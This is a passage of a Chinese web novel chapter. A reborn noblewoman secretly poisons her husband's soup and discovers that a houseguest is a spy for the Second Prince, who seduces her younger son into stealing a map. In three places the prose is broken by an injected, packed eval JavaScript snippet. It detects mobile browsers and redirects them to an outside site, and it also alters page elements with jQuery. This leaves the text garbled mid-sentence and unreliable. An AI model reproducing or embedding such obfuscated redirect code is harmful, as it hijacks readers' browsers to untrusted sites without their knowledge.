秦禅月与方姨娘是完全不同的类型,方姨娘温柔,乖顺,小家碧玉,秦禅月刁蛮,任性,蛮横无理。 他当初娶她,是因为她的身份能帮着他争爵,娶了她这么多年,他也还算满意,她虽然有时霸道了些,但大部分时候都知进退,出去了能压得住旁 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“想夫君了。”那艳丽的夫人倚在桌旁,推过来一盏金丝火煲老鸡汤,撒娇道:“夫君用过膳了,旁的不必吃,只来尝尝这汤便好,人家亲手做的呢。” 女人纤细的指尖推过来时,鸡汤盛放在白釉盏中轻轻的晃,被灯光一照,泛着温暖又澄亮的光芒,秦禅月一脸痴爱的瞧着他,像是爱他爱到了骨头里。 周子恒听着她的撒娇声,心底里浮现出几分被女人争抢的无奈来。 他这些时日留在方青青处用膳较多,鲜少去陪秦禅月,估摸着是秦禅月想他了。 秦禅月生来就被人宠坏了,要一直骄着她,纵着她才行,许久没见他,她自然要过来找,要拉着他再吃一顿饭,真是个娇蛮的性子。 周子恒便不再多想,随着秦禅月落了座,毫不怀疑的接过那一碗老鸡汤一饮而尽。 这是他的妻,他们相伴十余年,吃食不知道吃了多少,他有什么可怀疑她的呢? 他就这样在一个普普通通的日子里,喝了一碗普普通通的金丝火煲老鸡汤。 饮过汤后,周子恒才好似突然想起来似的,道:“对了,听闻今日府上来了新客,还引你与渊渟生了龃龉?” 他人虽然不在府中,但府中自有他的心腹,他还听说自己的奶嬷嬷被罚了,自然要来问问秦禅月。 秦禅月用手撑着下颌,点头道:“你儿子将白玉凝带回来了,还说要休弃柳烟黛,迎娶白玉凝。” “荒唐。”周子恒拧眉,道:“你做得对,是该好生惩戒。” 白玉凝家中早已失了势,怎么可能和他们侯府结亲呢?当初白大人上门求他的时候他便说分明了,这人立世间,上有父母下有孩童,小忙也就帮了,涉及到倾家荡产的大事,他是绝不会搭手的,而那柳烟黛可是镇南王膝下的养女,代表了镇南王的势力,他自然要拉拢镇南王。 所以这门亲不能断。 “还有你的奶嬷嬷。”秦禅月想起来什么似的,又补了一句:“她处处仗着你的威势在府中乱来,前些日子还有人状告我她偷挪了府中的一些库存金子出去花销,我今日将她赶出了庄子里,小施惩戒,等过些时日,她老实了,再领回来便是。” 她说这些的时候,面上浮起了几分恰到好处的忐忑,道:“她毕竟奶过你,你若是心疼她,现在唤回来也可。” 周子恒听了前因后果,便道:“现在唤回来,便没了规矩了,日后岂不是叫她越发嚣张?主仆有别,这府中后院的事都由着你来定便是,你是我的妻,咱们夫妻一体,有你打理我放心。” 他不会怀疑秦禅月的话,秦禅月是他的妻,从不会骗他的,更何况,奶娘丢出去也不是不会带回来,小惩大诫就是了,让奶娘长些教训。 听了他的话,秦禅月含笑点头。 周子恒还想说什么,但突觉头脑一阵发晕——估摸着是这几日太累了。 他捏了捏眉心,道:“你收拾周渊渟的时候可莫要心软,这小子——” 秦禅月哪里都好,唯有一点不好,就是太护短,对自己的亲人总是舍不得下手。 而坐在他对面的秦夫人便含着笑看着他,轻声道:“应该的,我不会心软的。” 周子恒并不知道,坐在他面前的女人早已不是当初那个人了,她艳丽的皮囊之下,是烧灼的滚烫的岩浆,不知道什么时候便会扑出来,狠狠地将他烧成灰烬,她烙印在地上的影子,是生有利齿的兰花螳螂,无声无息的将她的镰刀逼在了他的脖颈上。 世仇杀他要刺下九九八十一刀,设出七七四十九难,但枕边人翻脸,只需轻轻一捅,便能将他推入深渊。 一旁缠枝花灯里的灯光晃啊晃,晃啊晃,天上的月亮挂在整个长安之上,低着头瞧啊瞧,瞧啊瞧。 历史的车轮因为碾过了一颗石子而偏航,挣脱了结局,呼啸着奔向了另一个未知的方向。 当天夜里,周子恒便生了一场高热。 这场病来的突然,秦夫人心疼的要命,连夜便唤了身边伺候多年的大夫来诊治,甚至贴身照料。 倒是旁人都不曾将这病放在心上——小病,过几日便好了嘛。 唯有第二日的柳烟黛听了公爹生病的消息,险些直接吓晕过去。 她现在瞧见这院门口守着的八个秦府私兵都觉得害怕,甚至不敢出门,只敢自己一个人对着梳妆镜流泪。 收手吧,婆母,外面都是官兵啊! —— 这一日,正是永昌三十七年夏,七月二十六日。 白玉凝入府的第二日,午时。 天青青,日明明,翠竹几支随风动,黄鸟啾啾入窗来。 今日的秦府似乎与以往没什么不同,世子爷周渊渟依旧被关在祠堂里,被打的后背满都是血,恨得怒骂柳烟黛。 柳烟黛她本想去给婆母请安,可是一出门,就看见八个高大威猛的私兵停在门口,顿时想起昨天那十六个粉嫩嫩的——柳烟黛眼前一黑,干脆不去请安了,只重新躲回被子中写信,时不时抱着被子哭上一场。 秦夫人盘算着毒药的剂量,琢磨着要不了半个月就能将她那该死的夫君送下黄泉,正高兴着呢,突然听门外有丫鬟禀报。 “何事?”她问。 “回夫人话。”外头跪着的丫鬟回道:“今日奴婢们等着白姑娘起身,想将白姑娘送出去,但是白姑娘一直迟迟不醒,旁的嬷嬷看了,说是白姑娘突然重病,起不得身了,奴婢来问问,是否要给白姑娘寻个大夫。” 秦禅月盘算毒药的手微微顿了顿,这才记起来,他们侯府里面还有个白玉凝呢。 上辈子,白玉凝可没有重病。 5.夫人真是太爱他了 她还记得上辈子这个时候发生的事。 那时候,她远在南疆的养兄还不曾出事,日子风平浪静,她同意白玉凝留在府中之后,白玉凝便每日同柳烟黛来一起给她请安。 柳烟黛的性子——便不再提了,单说说白玉凝。 白玉凝是个极讨喜的姑娘,灵动聪明,又生的清雅,腹有诗书,最关键的是,她生的又像是她的母亲,秦禅月的好友,秦禅月因此颇为喜欢她。 这也是为什么,白玉凝能在府中勾来两个少爷的原因。 秦禅月想起上辈子的事后,心底里暗暗多了几分怀疑。 上辈子既然没病,这辈子怎么又有病了? 偏偏这个时候病,瞧着可不像是病,而像是留在侯府中的手段,毕竟她都病的要死了,秦禅月却依旧命人将她丢出去,这不合礼法——别看秦禅月背后动手凶猛,但面子上向来做的好看,真要是演起来,也不曾叫人拿了把柄。 上辈子秦禅月不曾说什么重话,可能给了白玉凝嫁给周渊渟的希望,但是这辈子,秦禅月已经将话说死了,白玉凝应当知道不可能嫁给周渊渟了,为何还要费尽心机的留在侯府? “去寻个大夫好生查查看。”她拧眉吩咐了一句后,又道:“再寻两个人,暗处盯着她。” 下面的丫鬟应声而下,秦禅月则起身去了一趟小厨房,亲手做了一碗金丝火煲老鸡汤,装进檀木食盒里,端着送去了周子恒的厢房间。 她嫌周子恒死的不够快,打算再去加点料。 秦禅月本来是与周子恒同房而住的,她自认为他们俩相知相爱,当生同衾死同穴,所以除了葵水期从不曾与周子恒分房,直到这一日,重生回后,她便以“葵水来了”以理由,与周子恒分住了。 现下周子恒住在东侧一处厢房间,行过回廊便可推门而入。 厢房前做了窗景,为假山翠竹,青苔攀爬,一推开木窗,便能瞧见窗外翠竹摇晃,飒踏青石板。 秦禅月穿过假山,裙摆沾着翠竹的草木清香,手中提着食盒进门来时,正瞧见周子恒在丫鬟的服侍下起身,动作僵硬迟缓,似是还有些发晕,一双温润的瑞凤眼与人对视的时候都有些恍惚。 “夫君——”瞧见他起榻,秦禅月一脸慌忙的放下手中的食盒过来搀扶,一张明艳艳的尖俏面上满是关怀,语调轻柔的问他:“夫君病重,怎的还下榻了?” 周子恒借着她的手臂站稳,捏了捏眉心道:“我尚有公务。” 他其实并非是有公务,而是到了下午时候,该去陪方青青了。 他的青青柔弱不能自理,他一日不去见都不行。 “可夫君还病着,大夫说了,夫君这个病就是太过劳累,再加昨日有雨,染了些风寒,若是不加小心,日后是会病重的。”秦禅月面上越发心疼,扶着他道:“公务便歇一日吧。” 瞧着秦禅月的温柔软意,周子恒本欲离去的心也被留下了。 罢了,看在秦禅月这般殷勤伺候,他今日便不去陪方青青了。 周子恒已经站起来的身子便随着秦禅月的手重新倒下去了,秦禅月伺候他重新回榻上躺下还不够,还亲手将一旁的食盒取来,用羹勺来喂周子恒。 今日的秦禅月穿了一身浓翠色对交领锦缎长裙,腰间缚以镶金嵌玉的红丝绦,她生的丰腴,若饱满的桃花,这样充满肉感的身骨正好撑起那艳丽的颜色,红绿交错间,映出一张明艳的面来。 午后的烈阳被丝绢窗纱阻了一部分,只有一条细光线落进来,正好落到她的面上,将她艳艳的红唇与雪色的肌肤照出泠泠的光亮,满头金翠随着她的动作晃着熠熠的光,一眼瞧过去,便知道是个地位极高的贵夫人。 偏她在他面前从不摆架子,一见了他,她便软下枝丫,缠着他撒娇。 周子恒满意的饮了一口汤。 汤炖了很久,入口咸香,他躺靠在金枝玉软枕上,静静地品味。 饮过这口汤后,渐渐觉得头昏脑涨,格外困倦,顺势便闭眼休憩。 秦禅月静静地看着他熟睡的面,亲自替他盖好被子,轻轻拍着他的被。 周子恒渐渐跌落梦乡时,感受着身旁秦禅月放在他身上的手的重量与温度,不由得也感叹,秦禅月当真是太爱他了。 若不是爱他,如秦禅月这样高傲矜贵的人,又怎会如此伏低做小呢? 这一系列熨帖的动作落到旁的丫鬟眼中,也成了恩爱的证明。 “夫人对老爷真好。” “老爷和夫人恩爱百年,实在惹人艳羡。” 秦禅月在一旁侯着他,待到他熟睡了,才从此处离开,只不过离开之前,秦禅月怕这里的丫鬟伺候不好她心爱的夫君,干脆将这里的丫鬟都换了,换成了她手头上的心腹,甚至连药都要她看过了才能端送到侯爷的床前去。 这样用心,谁瞧了都要赞一声好,家有贤妻万事顺遂。 这一趟走来,耗费了大概一个多时辰,秦禅月未时末才重回赏月园中。 忠义侯府极大,府内六进六出,东南角建有祠堂佛塔,中庭有高石照壁,自亭间绕开,远远可见一片莲花池,盛夏七月底,莲花正姣姣。 她前脚刚回赏月园,才刚坐下歇息,后脚门外便来了个嬷嬷,在外通禀。 “启禀夫人——”这嬷嬷是派去看着白玉凝的。 “嗯。”秦禅月抬了抬下颌,道:“说。” 那嬷嬷垂下头来,低声汇报道:“老奴回去后一直在暗处盯着白姑娘,白姑娘并未察觉到老奴,老奴瞧见白姑娘吞吃某种药物,似是借此伪造成[病重]的目的,而且,白姑娘今日还给上门来为她瞧病的大夫递了个纸条,老奴隔得远,不知道他们传递了什么。” 坐在案后的夫人渐渐沉了面。 她只以为这个白玉凝来他们秦府,只是因为放不下周渊渟、想与周渊渟重归于好,但是现下看来,并非如此。 她回想了些上辈子的事,她只记得,她将那白玉凝赶出侯府之后,白玉凝再也没回来,后续什么情况她也不得知晓,现在让她想来,她也不明白,这个白玉凝费尽心机的留在侯府,到底是想做什么。 而下一刻,那嬷嬷说的话让秦禅月后背都麻了一片。 “老奴后续排着人跟着那个大夫,远远便瞧见那大夫进来二皇子的府邸中。” 秦禅月听了这话,只觉得心脏都骤停了一瞬,耳廓在这一刻都因此嗡鸣,在她面前的嬷嬷口型一张一合,她却听不见这嬷嬷在说什么,她只听见她自己的心中发出崩裂的海啸,瞬间淹没了她的口鼻,让她感受到窒息。 窒息。 窒息! 二皇子... 大陈现在共有三位皇子,都出自三个不同的妃子,太子是中宫所出,二皇子三皇子都是旁的妃嫔所出,但太子不受宠,皇上偏宠二皇子,三皇子也站队二皇子,使二皇子虽然不是太子,却处处能与太子并肩,并且也试图争抢皇位。 三位皇子争斗不停,朝政不稳,政斗时常涌现,太子党和二皇子党时常打的头破血流。 忠义侯府、秦家都属于太子党,现在,侯府里混进来了一个二皇子的人。 那些隐藏在水面之下的某种秘密露出来一丁点头角,阴谋勾连成一张巨网,而在这一刻,终于被重生而回的秦禅月窥探到了其中一角。 白玉凝居然暗地里与二皇子有勾连,她是二皇子的人,她费劲心机留在侯府,断然不会是为了她那两个蠢货儿子,白玉凝是为了完成某种任务而来。 现在的所有人都不知道二皇子要做什么, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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白玉凝...她上辈子只以为白玉凝坏了她与她两个儿子的亲情,现在看来,白玉凝还毁了她的根基,害死了她的养兄。 她不明白!她到底何处亏待了白玉凝?当初白家自己犯了事,惹火上身后,整个长安的人都对白家退避三舍,白家自己本家的亲戚见了白玉凝都要赶忙赶出去,只有她,看着过去的情谊给白玉凝些照拂,但白玉凝却毫不感恩,还要奔着她的命来害。 她竟救出这么个白眼狼来! —— 秦禅月一声令下,那嬷嬷领命而退,转身去了库房,提了点东西去看白玉凝。 白玉凝当时重病卧床,不得起身,听见嬷嬷来了,只虚弱的爬起来,行了个礼又跌到了地上,嬷嬷赶忙来搀扶,说了些好话,大意就是让她好好养伤。 白玉凝听着嬷嬷的话,面上虚弱,但心里却是一阵窃喜。 用尽了一套手段之后,她终于留在侯府了。 等到嬷嬷走了之后,白玉凝继续在榻上卧着,那张静美温婉的面上瞧着只有一片虚弱,脑海中却在想她接下来该怎么办。 她想要进到侯府的内库库房中去寻秦禅月的陪嫁,但这并非是她一个人能做到的,目前她能求助的、能为她所用的人,只有她那早已变心的未婚夫,周渊渟。 她不能这样躺着,她要去找周渊渟。 当夜,夜幕降临时,白玉凝从床榻间爬起来,想办法绕过了府内的丫鬟与巡逻的私兵,直奔着东南角的祠堂而去。 与此同时,侯府的二少爷,周驰野自武馆回了侯府。 而白玉凝在侯府中一路谨慎小心的前行,准备去祠堂。 命运的车轮兜兜转转,向前拐了几个弯,然后向着既定的方向驶过去,有些要遇见的人,总要相遇。 6.一见钟情 是夜,戌时末。 周驰野正在赶回长平坊。 当时满天星斗,长月浅泊夜空,屋檐静默坊巷,万籁俱静间,长安城睡也。 长街间月地云阶,一身墨色骑马装的少年郎打马而过,马蹄声声震耳,泠泠的月色为他镀了一层银霜,少年郎眉目锋锐,狐眼红唇,神色间是与秦禅月如出一辙的锋艳高傲,隐隐又带着几分五陵少年独有的恣意率性。 他像是一只搏于长空的雄鹰,远远一望,都能感受到他身上热腾腾的武夫燥气。 大陈实行坊制,处处分坊,住处等级都有严格划分,每晚亥时宵禁,除非身有官职,否则不可肆意行走在长安城内,若是被巡逻的羽林卫抓到,轻则入狱受刑,重则直接射杀。 周驰野常年在长安龙鳞武馆中习武,为即将到来的武试做准备,每月只有月底几日才可回府面见父母,这一日,正是他归府之日。 他习武之人,来去如风,独自一人惯了,也不用什么马车,只骑马到了后门处,翻身下马进府,进府时,他远远便瞧见府内门口站了一个小厮正侯着他。 周驰野浓眉一挑,动作利落的翻身下马,劲瘦的腰有力的一拧便安稳落地,铁靴踩在地上发出沉闷的声响,他将马鞭往小厮身上一丢,声线清冽的问道:“母亲呢?” 母亲最疼爱他了,每月他从武馆回来,母亲都会等在府门口迎着他,十年如一日,今日为何不在? “回二少爷的话。”一旁的小厮匆忙接过马鞭、顺势牵马,苦笑一声,低声将府内这些时日生的乱事都说了一遍。 “世子爷领了先前退婚的未婚妻,白家大小姐回来,还说要休弃世子妃,迎娶白家大小姐,引来夫人动怒,现下世子爷被关到了祠堂间。” “白家大小姐病了,被养在府中,夫人惦念旧恩,不曾将人赶出去,正好生伺候着,说是病好了再送走。” “侯爷操心朝政,前些日子又淋了一场雨,害了风寒,也病重了,卧榻不起,遍寻名医救治,夫人日夜伺候,人瞧着都消瘦了几分,实在是顾不上二公子这头。” 小厮三言两语交代完了周驰野不在府中时发生的事情,随后也跟着叹了声气,道:“近日府上事事不顺。” 听这小厮的话,周驰野对那位未曾谋面的白姑娘多了几分厌恶来,若非是这白姑娘进府,又怎么会给府中惹来这么多事端? 周驰野拧着眉道:“既如此,先去给母亲请安见礼。” 大哥大嫂那边的事轮不到他这个弟弟插手,父亲抱病,现在天色太晚,他也不能去叨扰,能见的便只有母亲。 小厮点头应是。 彼时他们正绕过一栋高墙,行过着栋高墙便可入内宅,行过墙旁时,周驰野敏锐的在墙头上听见了什么动静,有人在墙上攀爬! 周驰野以为是那家不长眼的小毛贼摸到了他们侯府,当即低吼了一声“谁”,那张俊美锋艳的面骤然扬起。 下一刻,墙下的少年郎握住腰侧宝剑,猛地往墙上一窜,半蹲在了墙头上。 一起一落间,墙头上攀爬的人惊得往下掉,又被他一把掐住下颌,钳制似得摁在了墙头上。 墙头上的人被铁钳一样的手掐着下颌,被迫昂起头来,满头青丝后仰,露出来一张白若梨花的皎月面来,一抬眸间,一双桃花眼中蕴含着畏惧与痛苦,她被周驰野钳制在手中,柔弱的身子不由自主的贴靠向他。 软香温玉便这样撞到了周驰野的怀中。 在看见她的那一刻,四周的人声仿佛都静下来,只有她身上的花香浮动,周驰野的眼眸有一瞬间的恍惚。 清夜沉沉动春酌,月前细雨檐花落。 那时的月色自云间而落,正照在墙头上的两个人的身上,高大的少年郎的手臂紧绷出肌肉的弧度,翻腾的血气之中带着男人独有的侵略气息,姑娘纤纤的手指求饶一般攀绕着他的手臂,高昂的面上满是恳求,粉嫩的唇瓣一张一合,溢出些许疼痛的闷哼来。 “痛——”她哀求着望着他。 像是一朵梨花,在他的手中扑簌簌的颤。 命运的车轮在这一刻,“轰”的一声撞上了命定的人,如撞雪山,少年心事如雪乱,拂了一身还满。 姑娘出声的时候,那少年郎似是被烫了一瞬,猛地收回手,用一种奇怪的目光望着她,像是从不曾见过她,新奇中又带着几分咄咄逼人的锋芒,直直的刺到她面上来,问她:“你——你是何人?” 低沉的声量落到耳廓中,下一刻,墙下的小厮便惊叫起来:“二少爷!这是白姑娘!” 白姑娘,二少爷。 只一提这个称呼,他们彼此便都知晓了对方的身份,虽然他们不曾见过,但是他们也曾听过彼此很多次,就像是两个只存在于听说中的人突然见了对方的真容一般,总要下意识的想一想,对方和自己听说的人,是一样的吗? 白玉凝抬眸看向他。 这是白玉凝第一次见到周驰野。 周家两子虽是一母同胞,但生的却并不相似,长子似父,端正肃穆温和宽容,学文,今年便要入朝为官,次子似母,锋锐冷淡桀骜凌厉,学武,据说马上也要过武试,日后要去边疆为将。 侯府这两个儿子,一文一武都极为出色,皆是凤毛麟角,本身的才学与本事不容小觑便罢了,生的也都极好。 白玉凝瞧着周驰野的面,心想,他长的像秦禅月,瞧这性子,也是一样的锋芒毕露,只与他相近,便觉得呼吸不畅。 她看周驰野,周驰野也看她,那白的像是玉一样的姑娘方才被他掐上了脖颈,现下那脖颈上已经浮起了一片红痕,能清晰瞧出来是个男子的手印。 粗大泛红的指印,纤细白皙的脖颈,含着泪的眼,拼凑成了一个水一样的姑娘,那水是眼波横,山是眉峰聚,抬眸间山黛远,月波长,只瞧一眼,他便觉得喉头一阵发干。 “白——”他一开口,声线莫名夹杂了几分嘶哑:“白姑娘,你夜间翻我家墙院,意欲何为? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14045293|148867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 那勉强坐在墙上的姑娘羞得低下头去,先是瞟了一眼地上的小厮,后又看了一眼周驰野。 周驰野冷眼扫了一眼地上的小厮,弧线紧绷的下颌向旁处一点,那小厮便屁滚尿流的跑了,这墙上一时只剩下了两个人,周驰野便听见那白姑娘低声道:“我听闻你大兄受了伤,想去瞧一瞧他,但又碍于传出去不好听,所以想偷偷过去,为了避让这里的丫鬟才翻墙。” 那坐在墙上的少年郎莫名的听出来几分火气来,深夜翻墙,还真是情真意切,他目光冷冷的刺着她,不满道:“我大兄已成了婚,你不当去。” 那墙上的姑娘面上便悲切了些,她道:“我知晓的,我也是读过书,学过规矩的人,我不会与世子爷逾礼的,还请二公子切莫将这件事告知秦夫人,我的病快好了,过几日我便离开此处,今夜也算与世子爷告别。” 周驰野瞧着她这样低眉顺眼,那股火气顿消,莫名的又浮出来几分心疼,他抿着唇,半晌道:“既如此,我送你去便是。” “真的吗?”白玉凝惊喜的抬起眼眸来看他,而在下一刻,那少年郎突然靠近,竟是一把将她抄起来打横抱起,一路走向祠堂间去。 陌生男子的靠近使白玉凝冒出一声惊叫,随后便听那周驰野戏谑道:“小声些,莫要被人听见,前头可有私兵巡逻,你翻墙是过不去的,唯有我带你才行。” 白玉凝微微昂起头看他,正瞧见他锋锐的下颌,远处的月悬在他们的头上,为他鸦羽一样的眼睫落上一层淡淡的月辉。 月明正在梨花上,一勾单月天如水。 白玉凝不是不通情爱的姑娘,她靠在周驰野的怀抱中,垂着头想,周驰野对她的态度太过轻佻,隐隐又带着几分逼近的热意,像是好奇里夹杂着厌恶,厌恶中又忍不住频频看她,十分奇怪。 难不成他们以前见过么? 她得不到答案,她只是被人抱着,送到了祠堂间去。 她从窗外进到祠堂间的时候,周渊渟正匍匐在地上,他的后背满是被打出来的伤,正悲痛间,便见到心上人从窗外而来。 那时素月流天,祠堂寂静,她的到来像是一颗蜜糖,甜满了周渊渟的心。 这一来,周渊渟顿觉身上的伤都好了,听闻白玉凝是自己独自一人翻墙过来的,他心痛不已,握着白玉凝的手,轻声说了很多情话和保证。 “你怎么来了——你为我做这么多,我都记着。” “我母亲是被那柳烟黛迷了眼了!你放心,待日后,我一定会休弃了柳烟黛娶你的。” 而白玉凝温柔的摸着他的头,看着他痛苦与爱欲交织的面庞,却在心里想,目前看起来,那位二公子好像比他更有用呢。 最起码那位二公子能随便在府里穿梭,他不能。 而且,那位二公子对她的态度... 白玉凝看着周渊渟的脸,听着周渊渟的情话,想的却是他的弟弟。 她该如何利用那位二公子呢? 7.兄弟夺妻 当夜,白玉凝与周渊渟说了片刻的话后,白玉凝便从窗外翻出去。 她一出窗,便看见那位二公子抱着胳膊,一脸冷冽的看着她,拧着眉,一字一顿道:“我方才听到他说要娶你。” 少年郎不知爱恨,一切全凭本能,莽莽撞撞的便将那些堆积的不满脱口而出,看似是指责,但里面却好像夹杂了一些奇怪的东西,像是莫名其妙的陈醋与尖锐的冰屑,夹杂在一起,直接打过来,若是寻常人怕是会以为他在厌恶她。 但站在他面前的白玉凝并不是寻常人。 她是那样聪明敏锐的姑娘,能三言两语挑动周渊渟带她回来,也能用一个眼神勾动周驰野与他大兄离心。 只见那清雅静美的姑娘面上浮起了几分难堪,随后低声与他道:“那是你大兄一厢情愿,他一直想休妻另娶我,但我父母不会愿意的,我也不肯背负这样的罪名,之前我被他带回来,是因为我无处可去,我家出事之后,没人愿意管我,今日我来,也不过是尽一尽他帮我的情分,我身贫,没什么好还他的,只能来看一看他,日后,我不会再来寻他,也愿他夫妻和睦。” 月色下的姑娘只需要两句话,便能将周驰野浮躁的心又压回去,他想,这确实不能怪她,是大兄得陇望蜀,她家道中落,又是个柔弱女子,求生艰难,他不当怪她。 她似是并未察觉到周驰野那尖锐的、无处安放、莫名其妙的情绪,只轻声道:“劳烦二公子再送我回去,待到我病好了,便会从此间离开。” 周驰野抿着唇,又一次将她抱起来送走。 这一次,她没有惊叫,没有紧绷着骨骼排斥他,反而像是一滩柔软的水,贴靠在他的怀抱中,使周驰野的心跳莫名其妙的爆冲。 侯府的距离突然变得那么短,那么短,院中风摇翠竹,使他的耳廓也一阵阵发麻,柔软的姑娘抱在他怀里,那样轻柔的触感,让他的呼吸莫名加快。 他将她送回到她所住的客房间的时候,他几乎都听不清她说什么,只一错不错的看着她,等到她回了房,消失在了他的视线中,他才发觉他的心跳震耳欲聋。 等她走远后,他本也要走,却突然发现地上留下了一张手帕,瞧着...像是她的。 出于某种说不出的心思,他将那手帕捡走了。 自那一日后,周驰野便觉得浑身焦躁。 去给母亲请安觉得没意思,更不想去祠堂看大兄,看了大兄就烦,也不想去给父亲侍疾,懒得听父亲说话,他一日又一日的在府中闲逛,心底里有一种隐秘的期盼。 说不定,今日便能再见到她呢。 但是他没见到。 那位梨花一样的白姑娘再也不曾在府中行走过。 他反倒焦躁的要命,最终以“送手帕”为理由去寻过她一次,她惊讶的接过手帕,随后将做好的一些点心赠给他。 再然后,她又不曾来找他。 也对,她是那样守礼遵规的姑娘,怎么会主动来找他呢?可是他又有一种说不出的急躁,总撺掇着他想要去做什么。 这种急躁被压了一日又一日,直到他即将离府、去武馆学武的前一夜,终于压不住了。 他主动去寻她,却在那一夜,瞧见她在屋内掩面哭泣。 这是他第一次见到她哭,纤细的姑娘坐在厢房中,波光似雪,花容入月,只一眼,便让他荡了魂,他不受控的从窗外翻进来,问她:“是谁给了你委屈受?是我大嫂逼迫你了吗?” 那坐在桌边的姑娘惊讶着站起身来,匆忙擦过面上的泪,哽咽着问:“二公子为何前来?” “谁欺负了你。”周驰野浓眉拧着,一字一顿道:“我给你出气。” 柔弱的姑娘擦过面庞,过了两息后,才轻声道:“没有人欺负我,只是我有点想娘亲。” 厢房内沉默了片刻后,周驰野垂下眼眸,道:“他们流放去了何处?我去差人打听打听,说不定能在路上照拂片刻。” 白玉凝擦了擦泪,似是故作轻松一般道:“不必了,这些事不必麻烦公子了。” 周驰野的薄唇颤了颤,那双狐眼深深地看着她,道:“我是真想帮你些,你有什么想要的,都与我说。” 白玉凝迟疑了片刻后,似是鼓起勇气,道:“我,我还真有一件东西想要,我家被抄之后,我什么都没有了,怀念母亲,也不知道该拿什么怀念,但是我知道,早些年,我母亲送过侯夫人一支簪子添妆,若是可以,你愿意带我去把那簪子寻到么?” 一个听起来稍微有些奇怪的要求,但是周驰野听闻此言,顿时道:“没问题。” 被爱意淹没脑海的少年郎哪里看的见蜜饯里面的砒霜呢?他欢天喜地的凑上去,一口含了进去。 “秦夫人会同意你我翻她的库房吗?”白玉凝似是有些不安:“秦夫人本就因我到来而不高兴,觉得我伤了世子爷夫妻和睦,想让我早些走,若是再牵扯上库房——” 见喜爱的姑娘如此为难,周驰野当即道:“我带你偷偷去,母亲的嫁妆库房我幼时常年去玩儿,哪里摆着我一清二楚。” 秦禅月从不曾防备这个儿子,她的东西他尽知晓,所以,在这一刻,母亲的爱就成了他的把柄。 当夜,周驰野成功的带着白玉凝翻到了库房间,举着油灯,开启了每一个嫁妆箱子,让白玉凝去翻找到底哪个是她娘赠送的簪子。 昏暗的仓库中,唯有一点油灯亮着光芒,白玉凝在看嫁妆箱子,周驰野在看她,盈盈的烛火流淌在她的脸上,她的脸映在他的眼眸里。 直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14057486|148867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到某一刻,那姑娘含羞带怯的看着他,低声说了一句“你真好”,随后突然地蹭过来,轻柔地用红唇贴了一下他的脸。 如猛烈的西风吹上眼睫,如狂乱的云击碎防线,他手上的油灯落了地,一片昏暗之中,周驰野捂着不听话的、几乎撞出来的心,站在原地发呆。 而白玉凝则摸着黑,拿起了一块油布,飞快藏进了裙子内缝制好的口袋里。 那一夜的深夜悸动无人知晓,只有一个周驰野沉浸其中,几乎要被溺死,而那口袋之中的油布却从嫁妆库房被藏在裙摆之中带了出去,悄无声息的出了侯府,又一路飞到了二皇子的府中。 在二皇子的府邸中,无数个人细细观摩过这一块油布,又以此布为准,探讨了很多个方案,最后,一条条命令从二皇子的府邸之中钻出来,飞向了南疆。 暗夜里的波涛汹涌仿佛一场诡谲的夜雨,只在昏暗的角落中生长,而到了第二日,又是阳光明媚的一天。 —— 这一日,盛夏八月初。 周驰野本该从侯府中离开,去武馆中求学,但是因为太过不舍白玉凝,所以他向武馆那头告了假,只赖在府中,每日与白玉凝私会。 白玉凝来秦府这一趟,只不过是为了偷战略图而已,那一日,她已经借着周驰野成了,心头大事已经去掉,整个人都轻松了不少,周驰野来寻她,她也愿意跟周驰野甜蜜片刻。 爱意疯长,春潮涌动,这两人渐渐也就没了忌讳与防范,隐隐有些光明正大之意。 他们俩自以为这件事瞒的很好,但却不知道府中有很多眼睛暗地里盯着他们,他们俩前脚去私会,后脚便有人将这件事告知到了秦禅月的面前来。 那一日,秦禅月刚去给她的好夫君喂完汤,前脚刚回来歇息,后脚就听人汇了这么一桩事。 下头的嬷嬷说的激愤极了:“二公子真是被猪油迷了心了!怎么能帮着这等身份不明的女人偷盗自己家的东西?还是与大公子有关的女子!他这是要惹祸上身的呀!夫人可要严加管教!” 贵夫人依靠在矮塌间,神情看不出恼怒,反而带着几分讥诮。 管教?她上辈子可管教够了,这辈子,她不会管教,只会让他们尝一尝自己做下的恶果。 这几日间的事,他们俩自以为无人知晓,却全在秦禅月的掌控之中,就连白玉凝费尽心思偷走的图都是秦禅月早就备下的假货。 秦禅月心里恨他们恨得滴血,但却不想现在就揭穿这件事,二皇子将这一颗棋子打在她这里,她定然要装不知道,继续跟对方周旋,但是,她也不愿意让这一对狗男女过得好,所以她几个心思转过后,便道:“去唤世子妃过来,便说我有事吩咐她。” 她今日,可要拉着柳烟黛瞧一场好戏。 8.捉到啦! 八月长安,烈阳灼灼,侯府中旁的院子里都热热闹闹的吵着,唯书海院的午后格外寂静,只有风吹花枝声。 